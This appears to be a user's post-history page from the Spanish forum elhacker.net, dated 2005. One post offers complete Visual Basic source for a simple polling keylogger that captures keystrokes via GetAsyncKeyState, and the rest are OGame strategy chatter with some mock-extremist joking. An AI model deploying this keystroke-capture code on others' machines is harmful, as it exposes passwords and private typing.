elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


  Mostrar Mensajes
Páginas: 1 ... 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 [27] 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 ... 52
261  Programación / Programación Visual Basic / keylogger en VB en: 25 Agosto 2005, 00:06 am
Hola
Este es un keylooger que hice hace un año o así. Funciona bien aunque es manifiestamente mejorable. Es un buen ejemplo.

Hay dos partes. Una es un pequeño programa de prueba (para ver lo que el keylogger va detectando). Para ello le poneis los controles y el código indicado y luego os vais por ejemplo al notepad y os poneis a escribir. En el programa de prueba deberían ir quedando todas las pulsaciones que vais haciendo.

La rutina fundamental es la función ObtenerTecla y unas pequeñas funciones para saber si es mayúscula o no , etc.

Existe otra técnica posible para hacer un keylogger. La que se llama un hook de teclado (o un gancho de teclado). Tiene algunas ventajas y algún inconveniente.
-----------------------------------------------------------------------------------
Programa que prueba la rutina
En una aplicación visual basic añadir al formulario form1 el cuadro de texto text1 con las siguientes propiedades:
Código:
text1.multiline = true 
text1.heigh= 1335
text1.width = 12975


Poner un objeto timer con las siguiente propiedad
Código:
timer1.interval=100
(probar con distintos resultados para sacar consecuencias)

Poner un command con la siguiente propiedad
Código:
command1.caption="Limpiar" 


----------------------------------------------------------------------------------
Rutinas del programa de prueba

Código:
Private Sub Command1_Click() 
Text1 = "" ' vaciar textbox
End Sub


Código:
Private Sub Text1_Change() 
If Len(Text1) > 500 Then
' Escribir txt.log
End If
End Sub

-----------------------------------------------------------------------------------
comienzo de keylogger
------------------------------------------------------------------------------------
Función ShiftPulsado. Comprueba si se ha pulsado cualquiera de las dos teclas shift del teclado (es posible diferenciar cada una si se quiere)

Código:
Private Function ShiftPulsado() ' true si está pulsado shift 
ShiftPulsado = IIf(GetKeyState(16) < 0, True, False) 'VK_SHIFT
End Function

------------------------------------------------------------------------------------
Función BloqMayus. Comprueba si se ha activado bloq mayus

Código:
Private Function BloqMayus() 'True si está pulsado bloqmayus 
BloqMayus = IIf(GetKeyState(20) < 0, True, False) 'VK_CAPSLOCK
End Function

------------------------------------------------------------------------------------
Función NumLock. Comprueba si está pulsada la tecla Numlock

Código:
Private Function NumLock() 'True si está pulsado NUMLOCK 
NumLock = IIf(GetKeyState(144) < 0, True, False) 'VK_NUMLOCK
End Function

-----------------------------------------------------------------------------------
Función AltGr comprueba si está pulsada la tecla ALT GR.

Código:
Private Function AltGr() 'true si está pulsado ALT GR 
AltGr = IIf(GetKeyState(165) < 0, True, False) 'VK_RMENU
End Function

-----------------------------------------------------------------------------------
Función del timer que comprueba cada cierto intervalo de tiempo si se ha pulsado una tecla. Para ello revisa cada una de las posibilidades y si encuentra una tecla pulsada la guarda en la variable Tecla y la añade al text1.

Código:
Private Sub Timer1_Timer() 'probar con distintos intervalos de timer 
Dim Tecla As String
For x% = 0 To 255 'para los 255 códigos ascii
If GetAsyncKeyState(x%) Then 'si se ha pulsado una tecla
Tecla = ObtenerTecla(x%) 'obtener tecla pulsada
Text1 = Text1 & Tecla 'añadir tecla a teclas pulsadas
Text1.Refresh
End If
Next
End Sub

------------------------------------------------------------------------------------
Función ObtenerTecla. Se le pasa como parámetro el código virtual de la tecla pulsada y devuelve el resultado. Es la rutina propiamente de un keylogger.

Fijaos que en vez de el nombre de la tecla he pueso su código virtual. La razón es que teóricamente es igual, pero con los nombres no me funcionaba y cuando puse su código funcionó.

Código:
Function ObtenerTecla(x As Integer) 
Dim Tecla As String
Select Case x
Case 1 'VK_LBUTTON 'botón izquierdo del ratón
Case 2 'VK_RBUTTON 'botón derecho del ratón
Case 4 'VK_MBUTTON 'botón medio del ratón
Case 3 'VK_CANCEL 'break interrumpir
Case 8 'VK_BACK
Tecla = "[DEL]"
Case 9 'VK_TAB
Tecla = "[TAB]"
Case 13 'VK_RETURN
Tecla = "[ENTER]"
'opcionalmente se puede poner que se inserte línea en vez de insertar el literal [ENTER]
'sería así: Tecla = Chr(13) & Chr(10)
Case 92 'VK_CLEAR '5 en keypadd sin numlook
Case 19 'VK_PAUSE 'Pausa
Tecla = "[PAUSA]"
Case 32 'VK_SPACE
Tecla = " "
Case 27 'VK_ESC 'escape
Tecla = "[ESC]"
Case 33 'VK_PRIOR
Tecla = "[RE PAG]"
Case 34 'VK_NEXT
Tecla = "[AV PAG]"
Case 35 'VK_END
Tecla = "[FIN]"
Case 36 'VK_HOME
Tecla = "[INICIO]"
Case 37 'VK_LEFT
Tecla = "[IZQ]"
Case 38 'VK_RIGHT
Tecla = "[DER]"
Case 39 'VK_UP
Tecla = "[ARRIBA]"
Case 40 'VK_DOWN
Tecla = "[ABAJO]"
Case 44 'imprpant
Tecla = "[IMPR PANT]"
Case 45, VK_INSERT
Tecla = "[INS]"
Case 46, VK_DELETE
Tecla = "[SUPR]"
Case 48 To 57 'VK_0 - VK_9
If Not ShiftPulsado Then 'si no se ha cambiado tecla de shift
Tecla = Str$(x - 48) 'poner en tecla el nº correspondiente
Else
Tecla = Mid$("!""""·$%&/()=", x - 47, 1) 'extraer el caracter correspondiente
End If
If AltGr Then
If x = 49 Then 'alt gr + 1
Tecla = "|"
ElseIf x = 50 Then 'alt gr + 2
Tecla = "@"
ElseIf x = 51 Then 'alt gr + 3
Tecla = "#"
ElseIf x = 54 Then 'alt gr +6
Tecla = "¬"
End If
End If
Case 65 To 90 'letras VK_A - VK_Z
If BloqMayus Then
Tecla = IIf(ShiftPulsado, LCase$(Chr(x)), UCase(Chr(x)))
Else
Tecla = IIf(ShiftPulsado, UCase$(Chr(x)), LCase$(Chr(x)))
End If
Case 96 To 105 'numpad VK_NUMPAD0 - VK_NUMPAD9'
If Not NumLock Then
Tecla = LTrim$(Str$(x - 96)) 'obtener número correspondiente a teclado numpad
Else
Tecla = ObtenerTecla(x - 48) 'obtener valor correspondiente a numpad sin numlock
End If
Case 106 'VK_MULTIPLY
Tecla = "*"
Case 107 'VK_NUMPADADD
Tecla = "+"
Case 110 'VK_NUMPADDECIMAL
Tecla = "."
Case 111 'VK_NUMPADDIVIDE
Tecla = "/"
Case 109 'VK_SUBSTRACKT
Tecla = "-"
Case 112 To 123 'VK_F1 - VK_F12
Tecla = "[F" & x - 111 & "]"
Case 145 'VK_SCROLL 'Bloq Despl
Tecla = "[BLOQ DESPL]"
Case 186 '^`
Tecla = IIf(ShiftPulsado, "^", "`")
Tecla = IIf(AltGr, "[", Tecla)
Case 187 '+ *
Tecla = IIf(ShiftPulsado, "*", "+")
Tecla = IIf(AltGr, "]", Tecla)
Case 188 '; ,
Tecla = IIf(ShiftPulsado, ";", ",")
Case 189 '- _ )
Tecla = IIf(ShiftPulsado, "_", "-")
Case 190 ': .
Tecla = IIf(ShiftPulsado, ":", ".")
Case 191 'ç Ç
Tecla = IIf(ShiftPulsado, "Ç", "ç")
Tecla = IIf(AltGr, "}", Tecla)
Case 192 '~ '
Tecla = IIf(ShiftPulsado, "~", "'")
Case 219 '? '
Tecla = IIf(ShiftPulsado, "?", "'")
Case 220 '| \
Tecla = IIf(ShiftPulsado, "ª", "º")
Tecla = IIf(AltGr, "\", Tecla)
Case 221 '¿ ¡
Tecla = IIf(ShiftPulsado, "¿", "¡")
Case 222 ' ¨ ´
Tecla = IIf(ShiftPulsado, "¨", "´")
Tecla = IIf(AltGr, "{", Tecla)
Case 226 ' < >
Tecla = IIf(ShiftPulsado, ">", "<")
End Select
ObtenerTecla = Tecla
End Function
262  Programación / Programación Visual Basic / Re: Problema con sockets Cliente - Servidor ( IP ) en: 22 Agosto 2005, 02:06 am
¿Rescatais un post de hace un mes para decir ESO?

Y además ¿Quién no da las gracias? ¿Porqué tiene que dar las gracias?

No entiendo esa actitud.

Tema cerrado
263  Media / Juegos y Consolas / Re: Alianza en OGAME. elhacker.net te necesita!!! en: 21 Agosto 2005, 18:48 pm
Yo no tengo ni pa pipas

Se me acaban de cepillar 30 cruceros
sniff
Ni siquiera me quedan recicladores para recoger la chatarra.
sniff sniff

Me veo en la dolorosa obligación de abandonar por un par de dias mis planes de hostigamiento al enemigo
sniff sniff sniff

 :'(
264  Media / Juegos y Consolas / Re: Alianza en OGAME. elhacker.net te necesita!!! en: 20 Agosto 2005, 02:10 am
Citar
Soplo ya te pase en puntos xD xD
Joer quique, me tienes contento!!!

Primero te creas una cúpula y luego te haces mas grande que yo!!!

¿Como voy a atacarte si me haces esas cosas?

¡A ver si empiezas a hacer algo constructivo!
 ???
265  Media / Juegos y Consolas / Re: Consejos Ogame en: 19 Agosto 2005, 18:05 pm
bueno, sigo con mi experiencia

Llevo unos días que aparentemente he estado parado. La razón es que he tenido la oportunidad y he creado 8 colonias. He procurado que estén entre las posiciones 4 a 9 para que tengan mayores posibilidades de ser grandes y valerme para todo el juego. Además he procurado que estén lo mas cerca posible.l

No se cuanto va a durar esta fase, pero el coste de desarrollar esas colonias es alto y me lleva tiempo. Entre eso y mejorar la flota ya tengo bastante. De momento tengo 8 colonias en vias de desarrollo y 8 cruceros.

Como no puedo estar así permanentemente he pensado que voy a desarrollar las colonias hasta alcanzar lo siguiente:
mina de metal 15
mina de cristal 15
mina de deuterio 15
y dos naves grandes de carga.

Para construir las naves de carga me veo obligado a construir una fábrica de robots nivel 2 y un hangar nivel 4.

Con eso podré transportar todo el producto a mi capital. De esa forma no necesito proteger la colonia puesto que no hay nada que destruir y nunca va a haber muchas reservas porque en cuanto haya unas pocas las envío.

Un saludo
266  Media / Juegos y Consolas / Re: Alianza en OGAME. elhacker.net te necesita!!! en: 19 Agosto 2005, 14:07 pm
Hola
tu te vas a la opción de recursos. Allí verás lo que ahora produces (que será nada). Lo primero que necesitas es energía así que te vas a edificios y pinchas en construir planta de energía solar.

Al cabo de un tiempo la tendrás hecha pero habrás perdido metal y cristal (que lo has utilizado para construir la planta). Así ahora tienes menos cristal y metal, pero a cambio produces energía.

Ahora construyes una mina de metal y luego una de cristal. Con eso verás que tienes menos metal y cristal, pero ahora tienes energía para mantener dos minas que producen metal y cristal.

Cada vez irás construyendo cosas mayores que cuestan mas y llevan mas tiempo y te dan mas cosas. Por ejemplo cuando construyas el hangar podrás construir naves y defensas y colonizadores.

También tienes una opción de investigación. Ahí gastas recursos en adquirir conocimientos. Con esa tecnología construyes mejores armas, naves, etc

Para saber lo que necesitas te vas a tecnología. Allí puedes ver por ejemplo que para construir un laser pequeño necesitas tecnología de energía, hangar nivel 2 y tecnología laser nivel 3.

Tu le das las órdenes oportunas y te vas porque tu juegas en el servidor osea que cuando te vayas el sigue jugando. Es posible que cuando vuelvas hayas ahorrado, o que hayas terminado algo que mandaste hacer (o que te hayan atacado).

Un saludo
267  Media / Juegos y Consolas / Re: Alianza en OGAME. elhacker.net te necesita!!! en: 19 Agosto 2005, 11:36 am
¿Tu sabes lo que le importa eso al tio que puede montar un escuadron de 300 bombarderos y estrellas de la muerte?

Lo que pasa es que mover todo eso tiene un coste y solo lo hará si le compensa o le cabreas. Para que le compense lo que el querrá es cargarse toda tu flota  porque lo que le vale es la chatarra flotando. Los recursos que tengas se los fuma en pipa.

Por eso solo lo hará si tienes una flota grande
 ;D
268  Media / Juegos y Consolas / Re: Alianza en OGAME. elhacker.net te necesita!!! en: 19 Agosto 2005, 05:15 am
Punkerman, no se si sabes que a los 5000 se abre la veda xD

Porque ahora no te pueden atacar los grandes. Solo pueden atacarte los que tienen como mucho un 20% mas que tu, pero no puedes sufrir ataques de 300 bombarderos y estrellas de la muerte.

Pero a los 5000 ya SI pueden xD

Quique yo tengo 1303 puntos. Ya se que son pocos, pero son todos de mala leche.

Gusto, mira el post ese de consejos Ogame. Ahí tienes una trayectoria y consejos. También en el foro de ogame tienes un post con un comienzo para orientarte.

Por último (que eso no viene en ningún manual) los miembros de Elhacker.net se apoyan entre sí porque son todos demócratas y gentuza de esa clase, PERO YO NO. Yo soy un fascista, expansionista, machista y fumador y ataco a todos los demócratas que encuentro. Por definición me encuentro en situación de "guerra fría" con todos estos tipos que opinan que todos los hombres son iguales aunque nazcan pobres.

Puaj! ¿Se te ocurre tontería semejante? ¿Como no voy a estar con en guerra fría con estos tipos? ¡Pero si hasta piensan que las mujeres tienen derechos!

y digo guerra fría porque aún no tengo una armada decente que cuando tenga será caliente, muy muy caliente.

De hecho ya tengo los recicladores para recoger los raspas del genocidio XDDDDDDDDD

Un saludo
269  Media / Juegos y Consolas / Re: Alianza en OGAME. elhacker.net te necesita!!! en: 18 Agosto 2005, 03:05 am
¿como voy a ser amigo de un demócrata? los demócratas son amigos entre ellos, pero los hombres de pelo en pecho como yo odiamosssss

¡Ahora te odio mas porque tengo que fabricar mas tecnologíla para poder atacarte! creo que no podré hacerlo hasta que tenga por lo menos naves de batalla o destructores y para eso me hacen falta unos 2000 puntossssssssssss

Encima estas tan lejos que mis naves no llegan. No puedo atacarte (sin embargo estoy desarrollando un motor de hiperpropulsión que me ayude a llegar mas lejos)

AGHHHHHHH el odio me consume

Algún día....

GRRRR!!!!!
270  Media / Juegos y Consolas / Re: Alianza en OGAME. elhacker.net te necesita!!! en: 17 Agosto 2005, 23:02 pm
Quique joer!!!

Citar
Puntos   1051 (Lugar 5331 de 11834)

y pues acabo de hacer la cupula grande de pretexion
Si te vistes esas cosas ¿como te voy a atacar?

Es que da asco! ¡que gente! ¡ni atacar se dejan!

¿tu sabes lo que voy a tener que currar para conseguir armas que se pasen eso?

¡joer tio!
 :(
Páginas: 1 ... 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 [27] 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 ... 52
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines